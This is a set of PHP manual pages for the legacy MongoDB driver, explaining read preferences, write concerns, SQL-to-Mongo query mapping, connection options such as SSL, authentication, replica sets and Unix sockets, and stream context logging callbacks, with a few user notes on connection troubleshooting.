    When the read preference includes a tag set, the client reads first from the primary, if available, and then from secondaries that match the specified tags. If no secondaries have matching tags, the read operation will produce an exception.

    Warning

    Version 2.2 of mongos added full support for read preferences. When connecting to older mongos instances, MongoClient::RP_PRIMARY_PREFERRED will send queries to secondaries.

  • MongoClient::RP_SECONDARY

    Operations read only from the secondary members of the set. If no secondaries are available, read operations will produce an exception.

    Most sets have at least one secondary, but there are situations where there may be no available secondary. For example, a set with a primary, a secondary, and an arbiter may not have any secondaries if a member is in recovering state or unavailable.

    When the read preference includes a tag set, the client attempts to find secondary members that match the specified tag set and directs reads to a random secondary from among the nearest group. If no secondaries have matching tags, the read operation will produce an exception.

  • MongoClient::RP_SECONDARY_PREFERRED

    In most situations, operations read from secondary members, but in situations where the set consists of a single primary with no other members, the read operation will use the set's primary.

    When the read preference includes a tag set, the client attempts to find a secondary member that matches the specified tag set and directs reads to a random secondary from among the nearest group. If no secondaries have matching tags, the read operation will produce an exception.

  • MongoClient::RP_NEAREST

    The driver reads from a random member of the set that has a ping time that is less than 15ms slower than the member with the lowest ping time. Reads in the MongoClient::RP_NEAREST mode do not consider the member's type and may read from both primaries and secondaries.

    Set this mode to minimize the effect of network latency on read operations without preference for current or stale data.

    If you specify a tag set, the client attempts to find a member that matches the specified tag set and directs reads to a random node from among the nearest group.

    Note:

    All operations read from the nearest member of the replica set that matches the specified read preference mode. The MongoClient::RP_NEAREST mode prefers low latency reads over a member's primary or secondary status.

Tag Sets

» Tag sets allow you to specify criteria so that your application can target read operations to specific members, based on custom parameters. Tag sets make it possible to ensure that read operations target members in a particular data center or target mongod instances designated for a particular class of operations, such as reporting or analytics.

You can specify tag sets with the following read preference modes:

  • MongoClient::RP_PRIMARY_PREFERRED

  • MongoClient::RP_SECONDARY

  • MongoClient::RP_SECONDARY_PREFERRED

  • MongoClient::RP_NEAREST

You cannot specify tag sets with the MongoClient::RP_PRIMARY read preference mode. Tags apply only when selecting a secondary member of a set, except for the when in the nearest mode.

Specifying Read Preferences

Read preferences may be specified in either the connection URI provided to MongoClient::__construct(), which uses a query string syntax, or via setter methods on the core classes, which use an array syntax for tag sets.

When specifying read preference modes in a query string, the tag sets for the readPreferenceTags value should be a comma-delimited sequence of colon-delimited key/value pairs.

Note:

Each tag set defined in the query string will use the readPreferenceTags name. Unlike how PHP might handle URL query strings, successive values for readPreferenceTags will not overwrite each other. The driver will collect tag sets in the order they appear in the query string.

Warning

If the driver cannot find a matching tag set the read will fail! It is your responsibility of providing suitable fallback, such as an empty readPreferenceTags value to fallback to "no tag set preference".

Example #1 Connection URI read preferences with query string syntax

<?php
// Prefer the nearest server with no tag preference
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// Pick the nearest server in the "east" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east,use:reporting';
$uri .= '&readPreferenceTags=dc:west';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// Prefer the nearest server in the "east" data center, then a server in the
// "west" data center, and finally fall back to no tag set preference
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$uri .= '&readPreferenceTags=dc:west';
$uri .= '&readPreferenceTags=';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

Example #2 Setting read preferences with array syntax for tag sets

<?php

$m = new MongoClient('mongodb://rs1.example.com,rs2.example.com', array(
    'replicaSet' => 'rs',
));

// Prefer the nearest server with no tag preference
$m->setReadPreference(MongoClient::RP_NEAREST, array());

// Pick the nearest server in the "east" data center
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east'),
));

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));

// Prefer the nearest server in the "east" data center, then a server in the
// "west" data center, and finally fall back to no tag set preference
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east'),
    array('dc' => 'west'),
    array(),
));
?>

User Contributed Notes

There are no user contributed notes for this page.


Write Concerns

MongoDB provides several different ways of selecting how durable a write to the database should be. These ways are called Write Concerns and span everything from completely ignoring all errors, to specifically targetting which servers are required to confirm the write before returning the operation.

When a write (such as with MongoCollection::insert(), MongoCollection::update(), and MongoCollection::remove()) is given a Write Concern option ("w") the driver will send the query to MongoDB and piggy back a getLastError command (GLE) with the Write Concern option at the same time. The server only returns when the Write Concern condition is verified to be fullfilled, or the query times out (controlled with the "wtimeout" option, 10000 milliseconds is the default).

Warning

Even though a getLastError command times out the data will most likely have been written to the primary server and will be replicated to all the secondaries once they have cought up.

The typical reasons for a timeout to happen is if you specify a Write Concern which requires confirmation from more servers then you currently have available.

When using acknowledged writes and the replica set has failed over, the driver will automatically disconnect from the primary, throw an exception, and attempt to find a new primary on the next operation (your application must decide whether or not to retry the operation on the new primary).

When using unacknowledged writes (w=0) and the replica set has failed over, there will be no way for the driver to know about the change so it will continue and silently fail to write.

The default Write Concern for the MongoClient is 1: acknowledge write operations.

Available Write Concerns
Write Concern | Meaning | Description
w=0 | Unacknowledged | A write will not be followed up with a GLE call, and therefore not checked ("fire and forget")
w=1 | Acknowledged | The write will be acknowledged by the server (the primary on replica set configuration)
w=N | Replica Set Acknowledged | The write will be acknowledged by the primary server, and replicated to N-1 secondaries.
w=majority | Majority Acknowledged | The write will be acknowledged by the majority of the replica set (including the primary). This is a special reserved string.
w=<tag set> | Replica Set Tag Set Acknowledged | The write will be acknowledged by members of the entire tag set
j=true | Journaled | The write will be acknowledged by primary and the journal flushed to disk

Using WriteConcerns

Each of the methods that causes writes (MongoCollection::insert(), MongoCollection::update(), MongoCollection::remove(), and MongoCollection::batchInsert()) allow an optional argument to send a set of options to the MongoDB server. With this option array you can set the WriteConcern as the following example illustrates:

Example #1 Passing a WriteConcern to a write operation

<?php
// Setting w=0 for insert:
$collection->insert($someDoc, array("w" => 0));

// Setting w=majority for update:
$collection->update($someDoc, $someUpdates, array("w" => "majority"));

// Setting w=5 and j=true for remove:
$collection->update($someDoc, array("w" => 5, "j" => true));

// Setting w="AllDCs" for batchInsert:
$collection->update(array($someDoc1, $someDoc2), array("w" => "AllDCs"));
?>

Besides setting WriteConcerns per operation as an option argument, it is also possible to set a default WriteConcern in different ways.

The first way is through the connection string. The connection string accepts the journal, w, and wTimeoutMS options:

Example #2 Connection string WriteConcerns

<?php
$m = new MongoClient("mongodb://localhost/?journal=true&w=majority&wTimeoutMS=20000");
?>

Since driver version 1.5 it is also possible to call MongoDB::setWriteConcern() and MongoCollection::setWriteConcern() to set a default WriteConcern for all operations created from that specific MongoDB or MongoCollection object:

Example #3 MongoDB::setWriteConcern and MongoCollection::setWriteConcern

<?php
$m = new MongoClient("mongodb://localhost/");
$d = $m->demoDb;
$c = $d->demoCollection;

// Set w=3 on the database object with a timeout of 25000ms
$d->setWriteConcern(3, 25000);

// Set w=majority on the collection object without changing the timeout
$c->setWriteConcern("majority");
?>

Unacknowledged Writes

By not requiring the server to acknowledge writes the writes can be performed extremely quickly, but you don't know whether or not they actually succeeded. Writes can fail for a number of reasons: if there are network problems, if a database server goes down, or if the write was simply invalid (e.g., writing to a system collection; or duplicate key errors).

While developing, you should always use acknowledged writes (to protect against inadvertent mistakes, such as syntax errors, invalid operators, duplicate key errors and so on). In production, unacknowledged writes can be used for "unimportant" data. Unimportant data varies on application, but it's generally automatically (instead of user generated) data, such as click tracking or GPS locations, where you can get thousands of records per second.

It is strongly recommended that you do an acknowledged write at the end of series of unacknowledged writes. Doing so will not incur in a too large performance penalty, but still allow you to catch any errors that may have occurred.

Example #4 Unacknowledged WriteConcern, followed with Acknowledged Write

<?php
$collection->insert($someDoc, array("w" => 0));
$collection->update($criteria, $newObj, array("w" => 0));
$collection->insert($somethingElse, array("w" => 0));
try {
    $collection->remove($something, array("w" => 1));
} catch(MongoCursorException $e) {
    /* Handle the exception.. */
    /* Here we should issue find() queries on the IDs generated for
    $somethingElse and $someDoc to verify they got written to the database and
    attempt to figureout where in the chain something happened. */
}
?>

If the last write throws an exception, you know that there's a problem with your database.

Acknowledged Writes

These type of write operations will make sure that the database has accepted the write operation before returning success. If the write failed, it will throw a MongoCursorException with an explanation of the failure. The MongoClient default behaviour is to acknowledge the write (w=1).

It is possible to specify how many members of an replica set have to acknowledge the write (i.e. have it replicated) before the write is deemed acknowledged and the operation returns.

Example #5 Acknowledged Writes

<?php
// Force acknowledgement from the primary only
$collection->insert($doc, array("w" => 1));

// Force acknowledgement from the primary, and one other member of the
// replica set
$collection->insert($doc, array("w" => 2));

// Force acknowledgement from the primary, and six other members of the
// replica set (you probably never should do this):
$collection->insert($doc, array("w" => 7));
?>

Keep in mind to select your Write Concern carefully. If you have a replica set with 5 members, and you select Write Concern of 4 you will risk the write blocking forever when one member of the replica set goes down for maintenance or a temporary network outage happens.

Warning

Passing in a string value for Write Concern has a specific meaning (Replica Set Tag Set Acknowledged). Please be careful of NOT using string values for numbers (i.e. array("w" => "1")) as it will be treated as a tag set name.

Majority Acknowledged Writes

Using the special majority Write Concern option is the recommended way for writes that are required to survive the apocalypse, as it will ensure the majority of your replica set will have the write and will therefore be guaranteed to survive all usual suspect outage scenarios.

Example #6 Majority Acknowledged Write

<?php
$collection->insert($someDoc, array("w" => "majority"));
?>

Journaled Writes

When connecting to a replica set the default Write Concern is only to have the primary server acknowledge the write. There is however a 100ms window until the write gets journaled and flushed to disk. It is possible to force the write to be journaled before acknowledging the write by setting the j option:

Example #7 Acknowledged and Journaled Write

Forcing journal flush

<?php
$options = array(
    "w" => 1,
    "j" => true,
);
try {
    $collection->insert($document, $options);
} catch(MongoCursorException $e) {
    /* handle the exception */
}
?>

See Also

  • » MongoDB WriteConcern docs

Changelog

Version | Description
1.3.0 | MongoClient was introduced and defaults to acknowledged writes. The deprecated Mongo defaults to unacknowledged writes.
1.3.0 | The "safe" write option has been deprecated and is not available with the new MongoClient class. Use the "w" option instead.

User Contributed Notes

There are no user contributed notes for this page.


SQL to Mongo Mapping Chart

This is a PHP-specific version of the » SQL to Mongo mapping chart in the main docs.

SQL Statement | Mongo Query Language Statement
CREATE TABLE USERS (a Number, b Number) | Implicit or use MongoDB::createCollection().
INSERT INTO USERS VALUES(1,1) | $db->users->insert(array("a" => 1, "b" => 1));
SELECT a,b FROM users | $db->users->find(array(), array("a" => 1, "b" => 1));
SELECT * FROM users WHERE age=33 | $db->users->find(array("age" => 33));
SELECT a,b FROM users WHERE age=33 | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1));
SELECT a,b FROM users WHERE age=33 ORDER BY name | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1))->sort(array("name" => 1));
SELECT * FROM users WHERE age>33 | $db->users->find(array("age" => array('$gt' => 33)));
SELECT * FROM users WHERE age<33 | $db->users->find(array("age" => array('$lt' => 33)));
SELECT * FROM users WHERE name LIKE "%Joe%" | $db->users->find(array("name" => new MongoRegex("/Joe/")));
SELECT * FROM users WHERE name LIKE "Joe%" | $db->users->find(array("name" => new MongoRegex("/^Joe/")));
SELECT * FROM users WHERE age>33 AND age<=40 | $db->users->find(array("age" => array('$gt' => 33, '$lte' => 40)));
SELECT * FROM users ORDER BY name DESC | $db->users->find()->sort(array("name" => -1));
CREATE INDEX myindexname ON users(name) | $db->users->ensureIndex(array("name" => 1));
CREATE INDEX myindexname ON users(name,ts DESC) | $db->users->ensureIndex(array("name" => 1, "ts" => -1));
SELECT * FROM users WHERE a=1 and b='q' | $db->users->find(array("a" => 1, "b" => "q"));
SELECT * FROM users LIMIT 20, 10 | $db->users->find()->limit(10)->skip(20);
SELECT * FROM users WHERE a=1 or b=2 | $db->users->find(array('$or' => array(array("a" => 1), array("b" => 2))));
SELECT * FROM users LIMIT 1 | $db->users->find()->limit(1);
EXPLAIN SELECT * FROM users WHERE z=3 | $db->users->find(array("z" => 3))->explain()
SELECT DISTINCT last_name FROM users | $db->command(array("distinct" => "users", "key" => "last_name"));
SELECT COUNT(*y) FROM users | $db->users->count();
SELECT COUNT(*y) FROM users where AGE > 30 | $db->users->find(array("age" => array('$gt' => 30)))->count();
SELECT COUNT(AGE) from users | $db->users->find(array("age" => array('$exists' => true)))->count();
UPDATE users SET a=1 WHERE b='q' | $db->users->update(array("b" => "q"), array('$set' => array("a" => 1)));
UPDATE users SET a=a+2 WHERE b='q' | $db->users->update(array("b" => "q"), array('$inc' => array("a" => 2)));
DELETE FROM users WHERE z="abc" | $db->users->remove(array("z" => "abc"));

User Contributed Notes

There are no user contributed notes for this page.


Connecting

Table of Contents

  • Connecting over SSL
  • Authentication
  • Replica Sets
  • Sharding
  • Domain Socket Support
  • Connection Pooling (version 1.2.0-1.2.12 *only*)
  • Persistent Connections (version up to 1.1.4 *only*)

Connecting to MongoDB can be as easy as new MongoClient, but there are many additional options and configurations. The documentation for MongoClient::__construct() covers all of the API options, but this page gives some more details and advice for practical use cases.

User Contributed Notes

daveg at smartbombinteractive dot com 15-Jan-2013 02:18
I was getting "couldn't determine master" when trying to connect to a replica set.  It turns out there was a typo in my /etc/hosts entry for on of the replica set members.
Anonymous 29-Nov-2012 02:05
The whole part of persistent connections is outdated. In version 1.3.0:

«Removed the "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything.»

As a matter of fact, this note is also wrong. Using option "persist" will throw an

Uncaught exception 'MongoConnectionException' with message '- Found unknown connection string option 'persist' with value 'x'
james at dunmore dot me dot uk 19-Jul-2012 08:19
We've got a strange gotcha (it maybe a bug with the mongo driver and we will raise an appropriate bug with them), but I think this is worth noting here.....

We were connecting to a replica set, but always getting "couldn't determine master" being returned. Connecting to individual notes without replicaset being set worked fine (directly to the master, or slave okay for reads). Replicaset working fine, and all setup okay.

The issue was our network setup, despite being able to resolve dbname-X.domain.com the server names were returning as dbname-X without the domain.

Pinging dbname-X worked, but for some reason the driver isn't resolving it. Adding the entry to hosts fixed this though.


Connecting over SSL

The driver supports connecting to » MongoDB over SSL and can optionally use SSL Stream Context options to provide more details, such as verifying certificates against specific certificate chain, or authenticate to » MongoDB using X509 certificates.

Example #1 Connect to MongoDB Instance with SSL Encryption

<?php
$mc = new MongoClient("mongodb://server1", array("ssl" => true));
?>

Example #2 Connect to MongoDB Instance with SSL Encryption, verifying it is who we think it is

<?php
$ctx = stream_context_create(array(
    "ssl" => array(
        /* Optionally verify the server is who he says he is, and has been certified by CA we trust */
        "verify_peer"       => true,
        "allow_self_signed" => false,
        "cafile"            => "/vagrant/certs/ca.pem",
    ),
));

$mc = new MongoClient(
    "mongodb://server1",
    array("ssl" => true),
    array("context" => $ctx)
);
?>

Example #3 Connect to MongoDB Instance that Requires Client Certificates

<?php
$ctx = stream_context_create(array(
    "ssl" => array(
        "local_cert" => "/vagrant/certs/client.pem",
        /* If the certificate we are providing was passphrase encoded, we need to set it here */
        "passphrase" => "My Passphrase for the local_cert",

        /* Optionally verify the server is who he says he is */
        "verify_peer" => true,
        "cafile"      => "/vagrant/certs/ca.pem",
    ),
));

$mc = new MongoClient(
    "mongodb://server1/?ssl=true",
    array(),
    array("context" => $ctx)
);
?>

Example #4 Authenticating with X.509 certificates

The username is the certificate subject from the X509, which can be extracted like this:

openssl x509 -in /vagrant/certs/ca-signed-client.pem -inform PEM -subject -nameopt RFC2253
<?php
$ctx = stream_context_create( array(
    "ssl" => array(
        "local_cert" => "/vagrant/certs/ca-signed-client.pem",
    )
) );

$mc = new MongoClient(
    'mongodb://username@server1/?authSource=$external&authMechanism=MONGODB-X509&ssl=true',
    array(),
    array("context" => $ctx)
);
?>

Where username is the certificate subject.

Changelog

Version | Description
1.5.0 | Added support for X509 authentication.
1.4.0 | Added support for connecting to SSL enabled MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Authentication

If MongoDB is started with the --auth or --keyFile options, you must authenticate before you can do any operations with the driver. You may authenticate a connection by specifying the username and password in either the connection URI or the "username" and "password" options for MongoClient::__construct().

Example #1 Authenticating against the "admin" database

<?php
// Specifying the username and password in the connection URI (preferred)
$m = new MongoClient("mongodb://${username}:${password}@localhost");

// Specifying the username and password via the options array (alternative)
$m = new MongoClient("mongodb://localhost", array("username" => $username, "password" => $password));
?>

By default, the driver will authenticate against the admin database. You may authenticate against a different database by specifying it in either the connection URI or the "db" option for MongoClient::__construct().

Example #2 Authenticating against normal databases

<?php
// Specifying the authentication database in the connection URI (preferred)
$m = new MongoClient("mongodb://${username}:${password}@localhost/myDatabase");

// Specifying the authentication database via the options array (alternative)
$m = new MongoClient("mongodb://${username}:${password}@localhost", array("db" => "myDatabase"));
?>

If your connection is dropped, the driver will automatically attempt to reconnect and reauthenticate you.

User Contributed Notes

There are no user contributed notes for this page.


Replica Sets

To connect to a replica set, specify one or more members of the set and use the "replicaSet" option. Multiple servers may be delimited by a comma.

Example #1 ReplicaSet seed list

<?php
// Using multiple servers as the seed list (prefered)
$m = new MongoClient("mongodb://rs1.example.com:27017,rs2.example.com:27017/?replicaSet=myReplSetName");

// Using one server as the seed list
$m = new MongoClient("mongodb://rs1.example.com:27017", array("replicaSet" => "myReplSetName"));

// Using multiple servers as the seed list
$m = new MongoClient("mongodb://rs1.example.com:27017,rs2.example.com:27017", array("replicaSet" => "myReplSetName"));
?>

The PHP driver will query the database server(s) listed to determine the primary. So long as it can connect to at least one host listed and find a primary, the connection will succeed. If it cannot make a connection to any servers listed or cannot find a primary, a MongoConnectionException will be thrown.

Tip

You should always provide a seed list with more than one member of the ReplicaSet. For highest availability you should seed with at least one server from each of your datacenters.

Warning

The host names that you specify in the seed list must match the host names in the replica set configuration. This is because the driver only uses the host names in the replica set configuration to create the hash for its persistent connections.

For example, if an IP address is used in the seed list and the replica set is configured with host names, the driver will discard any seed list connection(s) that differ from the canonical host names reported by the replica set. Effectively, these non-canonical seed list connections will be recreated on each request, greatly reducing the benefit of using persistent connections.

Warning

The driver does not support connecting to different replica sets with the same name. This extends beyond one script so make sure to have separate names for each of your replica sets. That also means that you can not do this:

Example #2 Wrong replica set name duplication

<?php
$m = new MongoClient("mongodb://devserver1,devserver2,devserver3/?replicaSet=repset");
$m = new MongoClient("mongodb://prodserver1,prodserver2,prodserver3/?replicaSet=repset");
?>

Instead, you need to have two different names for your replica sets:

Example #3 Correct use of two replica set names

<?php
$m = new MongoClient("mongodb://devserver1,devserver2,devserver3/?replicaSet=devset");
$m = new MongoClient("mongodb://prodserver1,prodserver2,prodserver3/?replicaSet=prodset");
?>

If the primary becomes unavailable, an election will take place and a secondary will be promoted to the role of primary (unless a majority vote cannot be established). During this time (» 20-60 seconds), the connection will not be able to perform any write operations and attempts to do so will result in an exception. Connections to secondaries will still be able to perform reads.

Note:

The default Read Preference is to only read from the primary. During the election process there is no primary, and all read will therefore fail.

It is recommended to use MongoClient::RP_PRIMARY_PREFERRED Read Preference for applications that require high availability for reads, as reads will only be executed on the secondaries when there simply isn't a primary available.

Once a primary is elected, attempting to perform a read or write will allow the driver to detect the new primary. The driver will make this its primary database connection and continue operating normally.

The health and state of a secondary is checked every 5 seconds (configurable with mongo.ping_interval) or when the next operation occurs after 5 seconds. It will also recheck the configuration when the driver has a problem reaching a server.

Replica set failovers are checked every 60 seconds (configurable with mongo.is_master_interval), and whenever a write operation fails when using acknowledged writes.

Caution

Secondaries may be behind the primary in operations, so your application must be able to handle out-of-date data when using Read Preferences other then MongoClient::RP_PRIMARY.

For more information on replica sets, see the » core documentation.

See Also

  • Read Preferences
  • Write Concerns

Changelog

Version | Description
1.0.9 | Added support for connecting to ReplicaSet and automatic failover.

User Contributed Notes

wpigott at nospam dot example dot com 18-Dec-2012 08:46
When using the mongodb connection string on a replica set, make sure you DO NOT PUT A SPACE between the servers.

IE. mongodb://db1.example.com:27017, db2.example.com:27017 will throw an error, but mongodb://db1.example.com:27017,db2.example.com:27017 will work correctly.


Sharding

To connect to a shard cluster, specify the address of one or more mongos instances in the connection string. Multiple servers may be delimited by a comma.

<?php
// Using one server as the seed list
$m = new MongoClient("mongodb://mongos1.example.com:27017");

// Using multiple servers as the seed list
$m = new MongoClient("mongodb://mongos1.example.com:27017,mongos2.example.com:27017");
?>

Regardless of whether each shard is a stand-alone mongod server or a full replica set, the driver's connection process is the same. All database communication will be routed through mongos.

For more information on sharding with MongoDB, see the » sharding documentation.

User Contributed Notes

There are no user contributed notes for this page.


Domain Socket Support

MongoDB has built-in support for via Unix Domain Sockets and will open the socket on startup, by default located in /tmp/mongodb-<port>.sock..

To connect to the socket file, specify the path in your MongoDB connection string:

<?php
$m = new MongoClient("mongodb:///tmp/mongo-27017.sock");
?>

If you would like to authenticate against a database (as described above) with a socket file, you must specify a port of 0 so that the connection string parser can detect the end of the socket path. Alternatively, you can use the constructor options.

<?php
$m = new MongoClient("mongodb://username:password@/tmp/mongo-27017.sock:0/foo");
?>

Changelog

Version | Description
1.0.9 | Added support for Unix Domain Sockets.

User Contributed Notes

mike at eastghost dot com 10-Oct-2013 11:36
We've enjoyed a 100x - 200x speed boost, just changing from TCP connection to unix domain socket.  Page loads went from 1,400 ms down to 7 ms instantly.
ere dot maijala at helsinki dot fi 08-Aug-2013 10:38
In my case (CentOS 6.4, PHP 5.3.3, MongoDB 2.4.5, PHP Mongo driver 1.4.2, all on the same system under VMWare, mixed updates, inserts and finds) unix domain sockets seem to work more than ten times faster than a TCP/IP connection to localhost.
East Ghost Com 03-May-2013 05:40
Confirming fast performance running Apache and MongoDB (even a replicaSet secondary, with distant primary over WAN) on same box, communicating via unix domain socket.

$Mongo = new \MongoClient(
    'mongodb:///tmp/mongodb-27017.sock'
        , array(
            'replicaSet' => 'rs1'
            , 'timeout' => 300000
        )
);
$Mdb = $Mongo->DB; // create or open DB
$Mdb->setReadPreference( \MongoClient::RP_NEAREST );

"Postgres core developer Bruce Momjian has blogged about this topic. Momjian states, "Unix-domain socket communication is measurably faster." He measured query network performance showing that the local domain socket was 33% faster than using the TCP/IP stack."

http://stackoverflow.com/questions/257433/postgresql-unix-domain-sockets-vs-tcp-sockets

Excerpt: IP sockets over localhost are basically looped back network on-the-wireIP. There is intentionally “no special knowledge” of the fact that the connection is to the same system, so no effort is made to bypass the normal IP stack mechanisms for performance reasons. For example, transmission over TCP will always involve two context switches to get to the remote socket, as you have to switch through the netisr, which occurs following the “loopback” of the packet through the synthetic loopback interface. Likewise, you get all the overhead of ACKs, TCP flow control, encapsulation/decapsulation, etc. Routing will be performed in order to decide if the packets go to the localhost. Large sends will have to be broken down into MTU-size datagrams, which also adds overhead for large writes. It’s really TCP, it just goes over a loopback interface by virtue of a special address, or discovering that the address requested is served locally rather than over an ethernet (etc).

UNIX domain sockets have explicit knowledge that they’re executing on the same system. They avoid the extra context switch through the netisr, and a sending thread will write the stream or datagrams directly into the receiving socket buffer. No checksums are calculated, no headers are inserted, no routing is performed, etc. Because they have access to the remote socket buffer, they can also directly provide feedback to the sender when it is filling, or more importantly, emptying, rather than having the added overhead of explicit acknowledgement and window changes. The one piece of functionality that UNIX domain sockets don’t provide that TCP does is out-of-band data. In practice, this is an issue for almost noone.

http://osnet.cs.binghamton.edu/publications/TR-20070820.pdf

Excerpt: It was hypothesized that pipes would have the highest throughtput due to its limited functionality, since it is half-duplex, but this was not true. For almost all of the data sizes transferred, Unix domain sockets performed better than both TCP sockets and pipes, as can be seen in Figure 1 below. Figure 1 shows the transfer rates for the IPC mechanisms, but it should be noted that they do not represent the speeds obtained by all of the test machines. The transfer rates are consistent across the machines with similar hardware conﬁgurations though. On some machines, Unix domain sockets reached transfer rates as high as 1500 MB/s.

http://bhavin.directi.com/unix-domain-sockets-vs-tcp-sockets/


Connection Pooling (version 1.2.0-1.2.12 *only*)

Note:

This section is no longer relevant as of the 1.3.0 release of the driver and only serves as a historical information on how the pooling used to work.

The latest versions of the driver have no concept of pooling anymore and will maintain only one connection per process, for each connection type (ReplicaSet/standalone/mongos), for each credentials combination.

Creating connections is one of the most heavyweight things that the driver does. It can take hundreds of milliseconds to set up a connection correctly, even on a fast network. Thus, the driver tries to minimize the number of new connections created by reusing connections from a pool.

When a user creates a new instance of MongoClient, all necessary connections will be taken from their pools (replica sets may require multiple connections, one for each member of the set). When the MongoClient instance goes out of scope, the connections will be returned to the pool. When the PHP process exits, all connections in the pools will be closed.

"Why do I have so many open connections?"

Connection pools can generate a large number of connections. This is expected and, using a little arithmetic, you can figure out how many connections will be created. There are three factors in determining the total number of connections:

  • connections_per_pool

    Each connection pool will create, by default, an unlimited number of connections. One might assume that this is a problem: if it can create an unlimited number of connections, couldn't it create thousands and the server would run out of file descriptors? In practice, this is unlikely, as unused connections are returned to the pool to be used later, so future connections will use the same connection instead of creating a new one. Unless you create thousands of connections at once without letting any go out of scope, the number of connections open should stay at a reasonable number.

    You can see how many connections you have in a pool using the MongoPool::info() function. Add up the "in use" and "in pool" fields for a given server. That is the total number of connections for that pool.

  • pools_per_process

    Each MongoDB server address you're connecting to gets its own connection pool. For example, if your local hostname is "example.net", connecting to "example.net:27017", "localhost:27017", and "/tmp/mongodb-27017.sock" will create three connection pools. You can see how many connection pools you have open using MongoPool::info().

  • processes

    Each PHP process has a separate set of pools. PHP-FPM and Apache generally create between 6 and a couple of dozen PHP worker children. Check your settings to see what the max number of PHP processes is that can be spawned.

    If you are using PHP-FPM, estimating the number of connections can be tricky because it will spawn more PHP-FPM workers under heavy load. To be on the safe side, look at the max_children parameter or add up spare_servers + start_servers (choose whichever number is higher). That will indicate how many PHP processes (i.e. sets of pools) you should plan for.

The three variables above can be multiplied together to give the max number of connections expected: connections_per_pool * pools_per_process * processes. Note that connections_per_pool can be different for different pools, so connections_per_pool should be the max.

For example, suppose we're getting 30 connections per pool, 10 pools per PHP process, and 128 PHP processes. Then we can expect 38400 connections from this machine. Thus, we should set this machine's file descriptor limit to be high enough to handle all of these connections or it may run out of file descriptors.

See MongoPool for more information on connection pooling.

User Contributed Notes

There are no user contributed notes for this page.


Persistent Connections (version up to 1.1.4 *only*)

Note:

This section is not relevant for 1.2.0+. In 1.2.0+, connections are always persistent and managed automatically by the driver. If you are using a 1.2.x release (but not 1.3.x or later), see MongoPool for more information on pooling.

Creating new connection to the database is very slow. To minimize the number of connections that you need to make, you can use persistent connections. A persistent connection is saved by PHP, so you can use the same connection for multiple requests.

For example, this simple program connects to the database 1000 times:

<?php

for ($i=0; $i<1000; $i++) {
  $m = new MongoClient();
}

?>

It takes approximately 18 seconds to execute. If we change it to use a persistent connection:

<?php

for ($i=0; $i<1000; $i++) {
  $m = new MongoClient("localhost:27017", array("persist" => "x"));
}

?>

...it takes less than .02 seconds to execute, as it only makes one database connection.

Persistent connections need an identifier string (which is "x" in the above example) to uniquely identify them. For a persistent connection to be used, the hostname, port, persist string, and authentication credentials (username, password and database, if given) must match an existing persistent connection. Otherwise, a new connection will be created with this identifying information.

Persistent connections are highly recommended and should always be used in production unless there is a compelling reason not to. Most of the reasons that they are not recommended for relational databases are irrelevant to MongoDB.

User Contributed Notes

There are no user contributed notes for this page.


Stream Context Options

The PHP MongoDB extension provides Stream Context Support using the mongodb context.

A stream context must be created with stream_context_create() and passed to the MongoClient::__construct() before the actual connection to MongoDB is made. It is not possible to apply a stream context to already created streams.

Additional context options and parameters, such as ssl and notification parameters, are also supported.

The MongoDB context options provide a rich interface to log network traffic between the driver and the MongoDB servers. This interface can be used to provide query logging, profiler, debuggers, or anything that would need to inspect the underlaying commands and protocol options.

See Also

  • SSL context options
  • Socket context options
  • Context parameters

Table of Contents

  • log_cmd_delete — Callback When Deleting Documents
  • log_cmd_insert — Callback When Inserting Documents
  • log_cmd_update — Callback When Updating Documents
  • log_getmore — Callback When Retrieving Next Cursor Batch
  • log_killcursor — Callback When Executing KILLCURSOR operations
  • log_reply — Callback When Reading the MongoDB reply
  • log_write_batch — Callback When Writing Batches

User Contributed Notes

There are no user contributed notes for this page.


Callback When Deleting Documents

  • « Stream Context Options
  • log_cmd_insert »
  • PHP Manual
  • Stream Context Options
  • Callback When Deleting Documents

log_cmd_delete

(PECL mongo >= 1.5.0)

log_cmd_delete — Callback When Deleting Documents

Description

log_cmd_delete ( array $server , array $writeOptions , array $deleteOptions , array $protocolOptions )

A callable function, used by the log_cmd_delete context option, when deleteing a document

Note:

This is not a real function, only a prototype of how the function should be.

Parameters

server

An array containing the basic information about the server that was picked.

key | value
hash | server hash, example: localhost:27017;-;X;56052
type | Node type (primary/secondary/mongos/arbiter): 2
max_bson_size | The maximum BSON Size over the wire this node accepts: 16777216
max_message_size | The maximum Message Size over the wire this node accepts: 48000000
request_id | The request identifier for this message: 42

writeOptions

key | value
ordered | boolean, if the operation (in case of batch operation) must be executed sequentually (ordered=true)
writeConcern | An array of writeConcern options (see below)
writeConcern array values
key | value
fsync | boolean, force flushing to disk before returning
j | boolean, force journal write before returning
wtimeout | integer, milliseconds, maximum time the primary is allowed to wait to verify replication
w | integer=server count, or string=replication-tag

deleteOptions

key | value
limit | integer, 1 or 0. If 0, delete all matching documents.
q | Array, the search criteria

protocolOptions

key | value
message_length | The total size (in bytes) of the encoded message being sent over the wire
request_id | The request identifier for this message: 42
namespace | The MongoDB namespace used for the protocol message dbname.collectionname

Changelog

Version | Description
1.5.0 | Only available when connected to MongoDB 2.6.0+

User Contributed Notes

There are no user contributed notes for this page.


